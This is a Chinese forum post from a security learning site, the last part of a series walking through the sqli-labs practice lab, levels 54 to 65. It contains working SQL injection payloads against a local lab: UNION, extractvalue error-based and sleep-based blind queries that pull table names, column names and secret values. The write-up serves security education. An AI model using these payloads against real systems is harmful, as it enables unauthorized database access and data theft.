用户
搜索
  • TA的每日心情
    开心
    6 小时前
  • 签到天数: 193 天

    连续签到: 2 天

    [LV.7]常住居民III

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    63

    主题

    127

    帖子

    3258

    魔法币
    收听
    0
    粉丝
    8
    注册时间
    2020-10-2

    积极活跃奖

    发表于 2021-8-4 19:04:33 01859
    本帖最后由 Johnson666 于 2021-8-5 16:32 编辑

    sqli-labs学习sql注入——最后的挑战

    本篇文章作者Johnson666,本篇文章参与i春秋作家连载计划所属从0到1团队,未经许可禁止转载。连载方向:web安全,内网安全

    目录

    1.sqli-labs学习sql注入——MySQL注入相关知识点+联合注入篇

    2.sqli-labs学习sql注入——GET和POST盲注篇+sql传马篇+增删改注入篇

    3.sqli-labs学习sql注入——绕过篇

    4.sqli-labs学习sql注入——HTTP头部注入篇

    5.sqli-labs学习sql注入——宽字节注入篇

    6.sqli-labs学习sql注入——堆叠注入篇

    7.sqli-labs学习sql注入——排序注入和排序堆叠注入篇

    8.sqli-labs学习sql注入——最后的挑战

    Page-4  (Challenges)

    从第54关到第65关是属于第4部分。这些关卡就开始综合的注入训练了。这里还限制了查询的次数,不过都是get型的,属于实战类型了。

    Less-54:基于错误-GET-单引号-字符型-UNION注入

    这一关只有10次机会,且数据库名为challenges,且数据表和数据列时刻改变

    现在我们将综合运用之前所学的各种注入技巧,拿到其中的flag:

    判断注入类型:

    http://127.0.0.1/sqli-labs-master/Less-54?id=1'

    http://127.0.0.1/sqli-labs-master/Less-54?id=1"

    双引号正常,单引号无报错回显,所以是单引号字符型注入。

    http://127.0.0.1/sqli-labs-master/Less-54?id=1'--+

    正确回显,未过滤注释。

    http://127.0.0.1/sqli-labs-master/Less-54?id=-1' union select 1,2,3--+

    有回显,回显位置为Your Login name:和Your Password:

    那么开始union联合注入:

    因为由主界面的提示已知数据库名为challenges,来获取表名:

    http://127.0.0.1/sqli-labs-master/Less-54?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3 --+

    表名为:ouor4ugnjt

    获取数据列:

    http://127.0.0.1/sqli-labs-master/Less-54?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='ouor4ugnjt'),3 --+

    获取数据:

    http://127.0.0.1/sqli-labs-master/Less-54?id=-1' union select 1,(select group_concat(secret_GVBV,tryy) from ouor4ugnjt),3 --+

    最后得到flag,在下面的输入框中输入flag即可,正确了还会出现祝贺的图片:

    Less-55:基于错误-GET-小括号-数字型-UNION注入

    这一关和Less-54方法一样,就是把Less-54的单引号改成小括号闭合。

    Less-56:基于错误-GET-单引号小括号-字符型-UNION注入

    这一关和Less-54方法一样,就是把Less-54的单引号改成单引号小括号闭合。

    Less-57:基于错误-GET-双引号-字符型-UNION注入

    这一关和Less-54方法一样,就是把Less-54的单引号改成双引号闭合。

    Less-58:基于错误-GET-单引号-字符型-报错注入

    该关只有五次机会,因此使用报错注入

    获取表名:

    http://127.0.0.1/sqli-labs-master/Less-58?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e)) --+

    结果:XPATH syntax error: '~929lmfavya~',得到表名929lmfavya

    获取列名:

    http://127.0.0.1/sqli-labs-master/Less-58?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='929lmfavya'),0x7e)) --+

    结果:XPATH syntax error: '~id,sessid,secret_ZP2N,tryy~'

    获取数据:

    http://127.0.0.1/sqli-labs-master/Less-58?id=1' and extractvalue(1,concat(0x7e,(select group_concat(secret_ZP2N,tryy) from 929lmfavya),0x7e)) --+

    结果:XPATH syntax error: '~sjEsFOU9bH5p2crs779mx1oT3~',得到flag

    Less-59:基于错误-GET-数字型-报错注入

    这关是数字型,其余的与58关一致。

    Less-60:基于错误-GET-双引号小括号-字符型-报错注入

    这关是")型闭合,其余与58关一致。

    Less-61:基于错误-GET-单引号小括号小括号-字符型-报错注入

    这关是'))型闭合,其余与58关一致。

    Less-62:基于时间-GET-单引号小括号-字符型-延时注入

    http://127.0.0.1/sqli-labs-master/Less-62?id=1')and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(5))--+

    这里延时了5秒,说明第一个字符就是O

    后面用burp去跑,具体可以看Less-5中有具体介绍。

    Less-63:基于时间-GET-单引号-字符型-延时注入

    这关为'型闭合,其余与62关一样。

    Less-64:基于时间-GET-小括号小括号-数字型-延时注入

    这关为))型闭合,其余与62关一样。

    Less-65:基于时间-GET-双引号小括号-字符型-延时注入

    这关为")型闭合,其余与62关一样。

    发新帖
    您需要登录后才可以回帖 登录 | 立即注册